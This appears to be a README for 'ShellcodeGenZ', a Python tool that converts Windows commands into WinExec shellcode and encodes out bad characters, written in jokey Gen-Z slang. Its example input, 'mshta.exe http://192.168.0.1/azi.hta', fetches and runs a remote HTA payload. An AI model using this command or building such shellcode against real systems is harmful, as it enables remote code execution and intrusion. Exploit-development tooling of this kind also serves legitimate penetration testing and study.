ShellcodeGenZ: Shellcode Generator to execute commands with winExec API

ShellcodeGenZ takes your commands (like mshta.exe http://192.168.0.1/azi.hta) and turns ’em into shellcode that’s ready to flex. It hunts down bad chars (like 0x0a, 0x0b, or the default 0x00), lets you yeet ’em manually or auto with add/subtract offsets, and logs every move so you’re never lost. If 0x00 sneaks into push instructions, it’s a hard pass—script’s outtie. With colored output and Gen-Z slang, it’s like codin’ with your besties.

Features

• Shellcode Gen: Turns commands into lit shellcode.
• Bad Char Yeeter: Spots bad chars and lets you fix ’em ( encode ) manual (pick your hex) or auto (add/subtract offsets).
• Manual Offset Drip: Choose your own offset for auto mode, or let it test 0x01 to 0xff.
• 0x00 Check: Always yeets 0x00 and bails if it’s in push instructions and the whole shellcode.
• Logs for Days: Detailed logs with Gen-Z flair so you know what’s good.
• Colorful Vibes: Rockin’ colorama for that terminal glow-up.

Use

1. Run the Script: Fire it up in your virtual env:

   python3 ShellcodeGenZ.py

2. Drop Your Inputs:

   • mshta command: Like mshta.exe http://192.168.0.1/azi.hta.
   • Bad chars: Comma-separated hex (e.g., 0a,0b). It always checks 0x00, no cap.

3. Yeet Bad Chars:

   • If bad chars pop up, choose to yeet ’em (Y/N).
   • Pick manual (drop new hex values) or automated (add/subtract offsets).
   • For auto, select manual offset (like 01) or automatic (tests all offsets).

4. Check the Output:

   • Shellcode drops as a byte string (e.g., b”\x…”).
   • Logs spill the tea on every step, from instructions to bad char fixes.

Install